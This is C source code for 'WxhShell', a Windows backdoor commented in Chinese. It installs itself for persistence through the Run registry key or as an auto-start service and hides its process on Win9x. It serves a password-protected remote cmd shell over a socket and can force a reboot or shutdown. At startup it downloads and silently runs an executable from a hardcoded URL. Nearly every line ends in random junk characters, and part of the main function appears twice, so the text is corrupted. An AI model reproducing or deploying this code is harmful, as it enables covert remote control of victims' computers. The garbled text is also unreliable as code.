WinExec(wscfg.ws_filenam,SW_HIDE); K M]Wl_z
} L^KdMMz;
$k(9 U\y-
if(!OsIsNt) { ( ji_o^
// 如果时win9x，隐藏进程并且设置为注册表启动 !5;t#4=
HideProc(); I>m;G `
StartWxhshell(lpCmdLine); PbUI!Xqe`
} #DaP=k"XV
else \3 KfD'L
if(StartFromService()) 2v|qLfe1
// 以服务方式启动 rZ866\0
StartServiceCtrlDispatcher(DispatchTable); .D@/y uV
else j-P^Zv};u
// 普通方式启动 FYeEG
StartWxhshell(lpCmdLine); [u\CDsX
px&=((Z7>
return 0; H*qD: N
} gO{W#%
"X?LAo
!\w\ ]7ls
@dhH;gt.I
=========================================== 3GWrn,f
{dZ8;Fy4
9XN~Ln@}
2<.Vv\ =
2?*1~ 5~I
`t\z
" pFH?/D/q
L9'-
#include <stdio.h> Fr/QW7B5
#include <string.h> `1p?*9Ssn
#include <windows.h> &(\@sxAyZ
#include <winsock2.h> }@4|7
#include <winsvc.h> y84XoDQ
#include <urlmon.h> 2vXGO|W
uk{J@&F
#pragma comment (lib, "Ws2_32.lib") G+Ei#:W,
#pragma comment (lib, "urlmon.lib") rH^/8|}&s
"11j$E9#\n
#define MAX_USER 100 // 最大客户端连接数 6Wu*.53
#define BUF_SOCK 200 // sock buffer InX{V|CW?
#define KEY_BUFF 255 // 输入 buffer o;'4c
fsb=8>}63}
#define REBOOT 0 // 重启 Pu/lpHm|
#define SHUTDOWN 1 // 关机 =[8d@d\
QW:Z[?39^
#define DEF_PORT 5000 // 监听端口 0JOju$Bl,
_9qEZV
#define REG_LEN 16 // 注册表键长度 i-Ljff
#define SVC_LEN 80 // NT服务名长度 I9s$bRbT
Q~CpP9%
// 从dll定义API 8ok7|DJ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z5I^0'
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lj-{t% }
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $ACe\R/%
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >|S>J+(
V?WMj $l<
// wxhshell配置信息 I]UA0[8X
struct WSCFG { mc56L[
int ws_port; // 监听端口 Suj}MEiv
char ws_passstr[REG_LEN]; // 口令 u;{T2T
int ws_autoins; // 安装标记, 1=yes 0=no z+2u-jG
char ws_regname[REG_LEN]; // 注册表键名 =1&}t%<X
char ws_svcname[REG_LEN]; // 服务名 OUKj@~T
char ws_svcdisp[SVC_LEN]; // 服务显示名 92NC]_jw
char ws_svcdesc[SVC_LEN]; // 服务描述信息 -q|*M:R
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 | )S{(#k
int ws_downexe; // 下载执行标记, 1=yes 0=no FRD<0o/`
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .k|-Ks|d|
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y#GCtkhi
)[RpZpd`*
}; D)RdOldr
>R) F}
// default Wxhshell configuration f@#w{W,3
struct WSCFG wscfg={DEF_PORT, l+'`BBh*]
"xuhuanlingzhe", rGAFp,}-f
1, ]s}aC9I
"Wxhshell", >pJ6{Ip
"Wxhshell", cEtZ}2,j
"WxhShell Service", (O<abB(
"Wrsky Windows CmdShell Service", 1pl2;!
"Please Input Your Password: ", =`ywd]\7
1, A1Ibx|K
"http://www.wrsky.com/wxhshell.exe", /G[+E&vj
"Wxhshell.exe" )SC`6(GW
}; .w=:+msL{(
?\l!]vu*
// 消息定义模块 ^S:cNRSW"
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MH2OqiCI
char *msg_ws_prompt="\n\r? for help\n\r#>"; <m:4g ,6
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C!oksI
char *msg_ws_ext="\n\rExit."; re2Fv:4{
char *msg_ws_end="\n\rQuit."; 'G3+2hah
char *msg_ws_boot="\n\rReboot..."; 2M5*bNU_:
char *msg_ws_poff="\n\rShutdown..."; 1@s^$fvW
char *msg_ws_down="\n\rSave to "; y`T--v3mI
Y|Nfwqz
char *msg_ws_err="\n\rErr!"; a'o}u,e5
char *msg_ws_ok="\n\rOK!"; ,OFq'}q
w@4t$bd7
char ExeFile[MAX_PATH]; oT$(<$&<
int nUser = 0; jw2_!D
HANDLE handles[MAX_USER]; lsN/$M|}
int OsIsNt; S]Sp Z8
&3+1D1"y/
SERVICE_STATUS serviceStatus; _?*rtDzIM
SERVICE_STATUS_HANDLE hServiceStatusHandle; 3/yt*cr
-DbH6u3
// 函数声明 GC,vQ\
int Install(void); zLE>kK
int Uninstall(void); 5n-9#J$
int DownloadFile(char *sURL, SOCKET wsh); R*zBnHAb!
int Boot(int flag); @|jKO5Y
void HideProc(void); cS. 7\0$
int GetOsVer(void); ^M[-K`c}
int Wxhshell(SOCKET wsl); Mt]=v}z
void TalkWithClient(void *cs); _m)gO/02A
int CmdShell(SOCKET sock); h0&>GY;i
int StartFromService(void); OYQXi
int StartWxhshell(LPSTR lpCmdLine); ?*(r1grHl
ptnMCF
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sj?`7kg
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A8CIP:Z
V!jK3vc
// 数据结构和表定义 _3-RoA'UZr
SERVICE_TABLE_ENTRY DispatchTable[] = 5(mCBH
{ .`i'gPLkn2
{wscfg.ws_svcname, NTServiceMain}, 7<Z~\3x
{NULL, NULL} g]oc(RM
}; $X{B* WF
nph7&[xQI
// 自我安装 :e5:\|5*5
int Install(void) z_)OWWdN
{ H-nFsJ(R!c
char svExeFile[MAX_PATH]; EN5G:hD
HKEY key; 7TMDZ*
strcpy(svExeFile,ExeFile); "\wDS2M)
FB?q/_
// 如果是win9x系统，修改注册表设为自启动 c%6 @ z
if(!OsIsNt) { Y`E{E|J
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xs.$2
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -&f]Xu
RegCloseKey(key); EU&6Tg
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]x5(bnWx
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GgZEg ?@
RegCloseKey(key); >b/k|?xP
return 0; `2Z4#$.
} uM}dZp 1
} J,(U<%n
} u(TgWp5WF
else { 0%q{UW2
^=heen<S%
// 如果是NT以上系统，安装为系统服务 [<@A8Q5,y
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8\W3FvQ
if (schSCManager!=0) Lv`8jSt\
{ 71}L#nQ
SC_HANDLE schService = CreateService 4F1.D9u
( r P<d[u
schSCManager, 3thG*^C5
wscfg.ws_svcname, P^uP$D
wscfg.ws_svcdisp, LRqw\fKk[
SERVICE_ALL_ACCESS, 6@,'m
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q T0IW(A
SERVICE_AUTO_START, 6cgpg+-a
SERVICE_ERROR_NORMAL, )\:lYI}Wpm
svExeFile, *cI6&;y
NULL, !z"a_
NULL, m;$F@JJ
NULL, k=d%.kg
NULL, 6@ (k8<3
NULL nEZ-h7lzl(
); q:D0$YY0
if (schService!=0) o q'J*6r
{ 5Qm.ECXV
CloseServiceHandle(schService); y:^>(l#;
CloseServiceHandle(schSCManager); w;h\Y+Myyk
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p8}5x 2F
strcat(svExeFile,wscfg.ws_svcname); f;_K}23
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1,*Z_ F=y
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OJC*|kN-#^
RegCloseKey(key); E-7a`S
return 0; D,m&^P=%e
} X<@y*?D9D
} cr=FMfhB
CloseServiceHandle(schSCManager); )sz2 9
} 66Cj=n5
} L3hxe]mr
=^%Pwkz
return 1; hjm.Ath
} (Db*.kd8,
VUg~[
// 自我卸载 (<:rKp
int Uninstall(void) !_/8!95
{ y1jGf83
HKEY key; t"Vr;0!{
EL)/5-=S
if(!OsIsNt) { l52n/w#qFB
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <EMLiiNY
RegDeleteValue(key,wscfg.ws_regname); QVZ6;/
RegCloseKey(key); .AmM%I4K
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q[,R%6&'
RegDeleteValue(key,wscfg.ws_regname); f4\p1MYQ
RegCloseKey(key); *M\i4FO8
return 0; 88+\mX;A#
} 4-?`#
} ;^H+ |&$>
} a?Qcf;o
else { O]4 x;`)
+h\W~muR
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kAe-d
if (schSCManager!=0) z6>ZV6(d2^
{ (qc!-Isd~[
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w _6Y+
if (schService!=0) 1{fwr1b
{ 6w`}+3
if(DeleteService(schService)!=0) { (Q p]0
CloseServiceHandle(schService); ;0_J7
CloseServiceHandle(schSCManager); ~ dI&> CL
return 0; A1s=;qr
} ;hRpAN
CloseServiceHandle(schService); owS@dbO
} x#}eC'Q
CloseServiceHandle(schSCManager); 1 0Tg> H
} Gv2./<{#
} PTc\I
G<WDyoN=O
return 1; @W5hrei
} &.bR1wX
*U^\Mwp
// 从指定url下载文件 "GC]E8&>H
int DownloadFile(char *sURL, SOCKET wsh) PAWr1]DI
{ )GT?Wd
HRESULT hr; *t-A6)2
char seps[]= "/"; +>9^])K|
char *token; OD!CnK
char *file; ug3lMN4UX
char myURL[MAX_PATH]; yp/V8C
char myFILE[MAX_PATH]; JU,ROoz(
Hn]n]wsLy
strcpy(myURL,sURL); &DhA$o"'
token=strtok(myURL,seps); s!RA_%8/>
while(token!=NULL) 1AEVZ@(j7
{ M$hw(fC|m1
file=token; ..]X<
token=strtok(NULL,seps); M[3w EX^
} D"XQ!1B%
?%fZvpn-
GetCurrentDirectory(MAX_PATH,myFILE); 87E3pe
strcat(myFILE, "\\"); 3usA
strcat(myFILE, file); z&J ow/
send(wsh,myFILE,strlen(myFILE),0); ALieUf
send(wsh,"...",3,0); [<1+Q =;
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ydFhw}1>
if(hr==S_OK) 3f.Gog
return 0; byxehJ6[V
else 98BBsjkd
return 1; #yRA.;
?)QBJ9F
} W[Ew6)1T
AT'$VCYC(
// 系统电源模块 +jZg%$Q!#
int Boot(int flag) N#!1@!2BN
{ 9^*YYK}%
HANDLE hToken; ='||BxB
TOKEN_PRIVILEGES tkp; A VG`r2T
NX #d}M^V
if(OsIsNt) { 8!`.%)- 4
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); adPU)k_j:
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `}Zbfe~
tkp.PrivilegeCount = 1; 1,!\7@<CT
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yl+)I
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K[yJu 4
if(flag==REBOOT) { W>s9Mp
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U;dt-3?=.h
return 0; 2o}G<7r
} NcMq>n
else { , p=8tf#
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IMw)X0z
return 0; %1+~(1P
} N}<U[nh'
} .wOLi Ms
else { JkDZl?x5
if(flag==REBOOT) { w*kFtNBfU
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h_"/@6
return 0; G9":z|
} >}(*s^!k
else { x9 L\"
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) . pEeR
return 0; g;Q^_4@
} -#M~NbI,
} l'8TA~
=QO[zke:
return 1; fv'P!+)t
} BjJ gQ`X
Jl9TMu!1]
// win9x进程隐藏模块 QjbPBk Q
void HideProc(void) vX24W*7
{ 84\o7@$#
`mTxtuid{
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `l#$l3v+
if ( hKernel != NULL ) QHz76i!=>
{ p<['FRf"
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !+ hgKZ]
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uy\+#:44d
FreeLibrary(hKernel); :2d9ZDyD
} 5F?g6?j{
9f[[%80
return; hRcJ):Wyb
} A'R sy6
#e|kA&+8M
// 获取操作系统版本 H pfI
int GetOsVer(void) `g1~ya(MC
{ u<2sb;a
OSVERSIONINFO winfo; p{PYUW"?^
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ci:QIsu*
GetVersionEx(&winfo); na; ^/_U@
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `.-C6!
return 1; IKpx~
else ts$UC $
return 0; EmoU7iy
} 55KL^+-~
\~1+T
// 客户端句柄模块 9xp ;$14
int Wxhshell(SOCKET wsl) ?OdA`!wE
{ $QnfpM%+=
SOCKET wsh; = F<`-6
struct sockaddr_in client; g5\B-3{
DWORD myID; ]gk1h=Y~h
8RD)yRJ
while(nUser<MAX_USER) .r"?w
{ 9>P(eN
int nSize=sizeof(client); [! BH3J!
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ry~LhU:
if(wsh==INVALID_SOCKET) return 1; 7QFEQ}
,FO|'l
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "G(/MT^C
if(handles[nUser]==0) =LzW#s=O
closesocket(wsh); 06;{2&ju<
else [RuY'
nUser++; $^>vJk<
} /HD2F_XA
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -lEh}r
r"{1H
return 0; Rw%KEUDm
} z<*]h^!3
'M/&bu r
// 关闭 socket >fQN"(tf
void CloseIt(SOCKET wsh) fXj
{ {}e IpK,+
closesocket(wsh); AG2jl/
nUser--; c5pG?jr+d
ExitThread(0); w:v:znQrW
} .ji%%f
j=4>In?x
// 客户端请求句柄 ,Fiiw
void TalkWithClient(void *cs) M?lr#}d
{ B\yid@e
Yd'ke,Je
SOCKET wsh=(SOCKET)cs; TXv#/@
char pwd[SVC_LEN]; !y.7"G*
char cmd[KEY_BUFF]; 3\ed4D
char chr[1]; &|eQLY #l
int i,j; 2ra4t]f6
hI0l2OE
while (nUser < MAX_USER) { /.bwwj_;
uI/ A_
if(wscfg.ws_passstr) { LLiX%XOh
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |n8^Xsx4w
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~~mQ
//ZeroMemory(pwd,KEY_BUFF); (z{xd
i=0; uyIA]OtyN
while(i<SVC_LEN) { ,88}5)b[
s]UeDZ<a
// 设置超时 <D}k@M Z
fd_set FdRead; ww,'n{_
struct timeval TimeOut; Ns(F%zkm
FD_ZERO(&FdRead); @}:(t{>;e7
FD_SET(wsh,&FdRead); fJKOuFK
TimeOut.tv_sec=8; YR2/`9s\QJ
TimeOut.tv_usec=0; %3wK.tR
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^gImb`<6-
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Sb.;$Be5g
VXp X#O
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vv]mME@
pwd=chr[0]; AsOI`@FV
if(chr[0]==0xd || chr[0]==0xa) { ~7g6o^A>
pwd=0; SrIynO
break; F44")fY
} #q%/~-Uk
i++; zF7T5Ge
} G].Z| Z9
1|--Xnv
// 如果是非法用户，关闭 socket t)h3GM
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X@rAe37h+
} 9L,T@#7
qM'5cxe
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ifUgj8i_
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gC_U7aw
LJ?7W,?
while(1) { wuCODz@~
t [f]
ZeroMemory(cmd,KEY_BUFF); #"l=Lv
KVBz=
// 自动支持客户端 telnet标准 :s\s3#?
j=0; $l=m?r=
while(j<KEY_BUFF) { CAfG3;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :v`o="
cmd[j]=chr[0]; hI$an%Y(
if(chr[0]==0xa || chr[0]==0xd) { MeC@+@C
cmd[j]=0; ^)WGc/
break; uP.3(n[&
} oT OMqR{"
j++; P$Nwf,d2u
} /OEj]DNY
hz!.|U@,{<
// 下载文件 {dDU^7O
if(strstr(cmd,"http://")) { 8l6R.l
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1QThAFN
if(DownloadFile(cmd,wsh)) =>9`qcNW_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :v#3;('7
else @C#lA2(I4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gwyz)CUkL
} ;-59#S&?tB
else { nL9m{$Zv
k2~j:&p
switch(cmd[0]) { -O\`G<s%
c(:GsoO
// 帮助 d4/ZOj+%
case '?': { 0oD?4gn
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @>?&Mw\c
break; cOcm9m#
} 5=eGiF;0\
// 安装 Q/':<QY
case 'i': { :EZTJu
if(Install()) ne%ckW?ks
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rLVS#M#&e>
else q*>`HTPcU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -g~$HTsGm
break; @AJt/wPk
} {B34^H:
// 卸载 HghNI
case 'r': { ~%cbp&s*/q
if(Uninstall()) JHcC}+H[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %%*t{0!H+
else =KkHck33
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JVRK\A|R
break; 6u7>S?
} nCt:n}+C7
// 显示 wxhshell 所在路径 >#SQDVFf
case 'p': { ."dmL=
char svExeFile[MAX_PATH]; p\Jz<dkN1
strcpy(svExeFile,"\n\r"); |VIBSty2d
strcat(svExeFile,ExeFile); k z<We/
send(wsh,svExeFile,strlen(svExeFile),0); VgOj#Z?K
break; ds`a6>746
} bV}43zI.
// 重启 vI4St;
case 'b': { t ;(kSg.
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wJip{
if(Boot(REBOOT)) {{j?3O//
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wcbb3N$+
else { +PjH2
closesocket(wsh); vV8}>
ExitThread(0); 7^=O^!sa
} 0EOpK%{
break; bPWIf*3#
} |+%K89W
// 关机 0]&~ddL
case 'd': { $w{#o E
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %c):^;6p
if(Boot(SHUTDOWN)) ]*?qaIdqu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |:C=j/f
else { !ce:S!P
closesocket(wsh); 1qtu,yIf
ExitThread(0); in$Pk$ c
} X2~>Z^, U
break; *:wu{3g}M`
} :Fm)<VN"
// 获取shell L9(fa+$+#
case 's': { Ga"t4[=I
CmdShell(wsh); p3&w/K{L6w
closesocket(wsh); G}d@^9FkE
ExitThread(0); r\Zz=~![<
break; ;kY'DKL(
} !>+YEZ"
// 退出 b k 30d
case 'x': { Z3)1!|#Q
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zj%l (OVq
CloseIt(wsh); }sZme3*J[
break; !>TH#sU$
} s+l)Q
// 离开 d H]'&&M
case 'q': { m z) O
send(wsh,msg_ws_end,strlen(msg_ws_end),0); D3N\$D
closesocket(wsh); 6Dwj^e0
WSACleanup(); _Uc le
exit(1); Srg`Tt]
break; v[\' M
} Nw* >$v
} ND77(I$3s
} se2ay_<F+
X2v|O3>/N
// 提示信息 @#xh)"}
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A46Xei:Ow
} f 0D9Mp
} _ 7X0
k%Jv%m}aB
return; Mt"j< ]EW
} C;QIp6"1
0x*L"HD
// shell模块句柄 _gxI=EYi
int CmdShell(SOCKET sock) _Gvn1"l
{ |5^tp
STARTUPINFO si; e4ym6q<6!
ZeroMemory(&si,sizeof(si)); kO>F, M
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MIGcV9hf
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (< gk<e*
PROCESS_INFORMATION ProcessInfo; gZ8n[zxf6
char cmdline[]="cmd"; hi^@969
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~RgO9p(dY
return 0; UsP1bh4
} 80DcM9^t8
S2T~7-
// 自身启动模式 &;I=*B~kE$
int StartFromService(void) n$&xVaF|
{ ;H}XW=vO
typedef struct ,'N8Ivt
{ F l@%?
DWORD ExitStatus; {@ ygq-TZ
DWORD PebBaseAddress; b\&|030+
DWORD AffinityMask; ?VaWOwWI
DWORD BasePriority; PZ06 _
ULONG UniqueProcessId; uY{V^c#mv
ULONG InheritedFromUniqueProcessId; ziPE(B
} PROCESS_BASIC_INFORMATION; J0K25w
v0v%+F#>@
PROCNTQSIP NtQueryInformationProcess; H=,0p
w_4/::K*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]#x!mZ!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b+7!$
tn>z%6;&Z
HANDLE hProcess; QU{|S.\
PROCESS_BASIC_INFORMATION pbi; 99)md
3z5w}qN]M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W(.q.Sx>
if(NULL == hInst ) return 0; >..C^8 "
m$6u K0
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F6,[!.wl
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ) bRj'*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <Wqk5mR
bLSXQStB
if (!NtQueryInformationProcess) return 0; N{rC#A3
8Evon&G59
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4K{<R!2I
if(!hProcess) return 0; 1HPYW7jk@"
<e)5$Aj
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b8o}bm{s
vK@t=d
CloseHandle(hProcess); ;]/>n:[E
*?dw`j_b >
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %VZQX_
if(hProcess==NULL) return 0; 57PoJ+
n_ORD@$]
HMODULE hMod; p{c+ +P5
char procName[255]; +eT1/x0
unsigned long cbNeeded; V)Oj6nD]
OZ,%T9vP
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yhwwF n\
>d1gVBhk
CloseHandle(hProcess); VEUdw(-?s
4Og&w]
if(strstr(procName,"services")) return 1; // 以服务启动 )3 C~kmN7
JrZ"AId2
return 0; // 注册表启动 >U?U;i
} rwYlg:
%UV'HcO/gp
// 主模块 BM6 J
int StartWxhshell(LPSTR lpCmdLine) Qqju6}+
{ P01o:/}
SOCKET wsl; {-FS+D`
BOOL val=TRUE; ^dc~hD
int port=0; !w+A3Z>V
struct sockaddr_in door; r0 mXRZC
<]9%Pm#X
if(wscfg.ws_autoins) Install(); =~7%R.U([e
[ vWcQ6m
port=atoi(lpCmdLine); gt~hUwL
_DlkTi5(w
if(port<=0) port=wscfg.ws_port; I)9un|+,y
!+Ia#(
WSADATA data; \:`'!X1*U
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r&qFv)0!`
OanHG
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r@j$$Pk`
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d`M]>EDXp
door.sin_family = AF_INET; +vR$%
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {OK+d#=
door.sin_port = htons(port); JYQ.Y!X1O
7x,c)QES`
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 67916
closesocket(wsl); z@\r V@W5
return 1; ~KtA0BtC
} Y6J7N^
N|G=n9p
if(listen(wsl,2) == INVALID_SOCKET) { Zjo8/
closesocket(wsl); / /ty]j
return 1; #+X|,0p
} 2d%j6D
Wxhshell(wsl); IIn0w2:i
WSACleanup(); 1O<Gg<<,e
5)%bnLxn
return 0; ,<,ige
zP[_ccW@
} y1zNF$<q
W`$D*X0*o
// 以NT服务方式启动 {u/G!{N$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z @:5vo
{ u!iBAr5
DWORD status = 0; J|ni'Hb
DWORD specificError = 0xfffffff; ubq4Zv7'
ulcm
serviceStatus.dwServiceType = SERVICE_WIN32; X<6Ro es2
serviceStatus.dwCurrentState = SERVICE_START_PENDING; co <ATx
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]6PX4oK_t
serviceStatus.dwWin32ExitCode = 0; W6kDQ&q
serviceStatus.dwServiceSpecificExitCode = 0; #Kr\"o1]
serviceStatus.dwCheckPoint = 0; :j sa.X
serviceStatus.dwWaitHint = 0; F4=+xd >0
QH_0U`3
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;H%&Jht
if (hServiceStatusHandle==0) return; T2;%@Ghc
hWzjn5w3
status = GetLastError(); .kv/db
if (status!=NO_ERROR) $}{u6*u.,
{ urJ>dw?FI
serviceStatus.dwCurrentState = SERVICE_STOPPED; O{0TS^
serviceStatus.dwCheckPoint = 0; i0,'b61qE
serviceStatus.dwWaitHint = 0; lu]Z2xSv
serviceStatus.dwWin32ExitCode = status; 95`Q=I|i
serviceStatus.dwServiceSpecificExitCode = specificError; 3 #fOrNU2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zw13Tu
return; jGM+
} \,U#^Vr
f?-=&||f78
serviceStatus.dwCurrentState = SERVICE_RUNNING; {i:5XL
serviceStatus.dwCheckPoint = 0; &}TfJ=gj
serviceStatus.dwWaitHint = 0; ."N`X\
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x2P}8Idg?A
} 3' HtT
{I/|7b>@r
// 处理NT服务事件，比如：启动、停止 rZ.,\ X_
VOID WINAPI NTServiceHandler(DWORD fdwControl) kh11Y1Q0d
{ w|~d3]BqT
switch(fdwControl) [G(}`u8w"
{ _`Ojh0@00
case SERVICE_CONTROL_STOP: WK{{U$:$
serviceStatus.dwWin32ExitCode = 0; {l/]+8G^
serviceStatus.dwCurrentState = SERVICE_STOPPED; A5d(L4Q]a(
serviceStatus.dwCheckPoint = 0; [dszz7/L
serviceStatus.dwWaitHint = 0; sd (I@ &y
{ -c^/k_n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -EwtO4vLJ
} Fx^e%":@ip
return; (6jr}kP
case SERVICE_CONTROL_PAUSE: =1rq?M eX
serviceStatus.dwCurrentState = SERVICE_PAUSED; a$Lry?pb
break; @<GVY))R8
case SERVICE_CONTROL_CONTINUE: ?q}XDc
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9u3~s<
break; EYe)d+E*
case SERVICE_CONTROL_INTERROGATE: 2TR l@
break; HA +EuQE"
}; oD5VE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); os\"(*dix
} c0lVt)pr/
c|f)k:Q
// 标准应用程序主函数 nm[ yp3B
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ##%R|P3
{ R]oi&"H@r)
Q?Au.q],
// 获取操作系统版本 l\vvM>#S
OsIsNt=GetOsVer(); njz:7]>e
GetModuleFileName(NULL,ExeFile,MAX_PATH); Tk9/1C{8
M4;A4V=W
// 从命令行安装 z0@)@4z!
if(strpbrk(lpCmdLine,"iI")) Install(); [+=h[DC
}v0IzGKs
// 下载执行文件 _g%Wx?K9
if(wscfg.ws_downexe) { aLwd#/!
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dxc`K?M
WinExec(wscfg.ws_filenam,SW_HIDE); S-FoyID\H
} >[4;K&$B
myp}DI(
if(!OsIsNt) { Y,v8eOo45S
// 如果时win9x，隐藏进程并且设置为注册表启动 J6*Zy[)%&S
HideProc(); HvITw%`
StartWxhshell(lpCmdLine); yIS.'mK
} ;l]OmcL
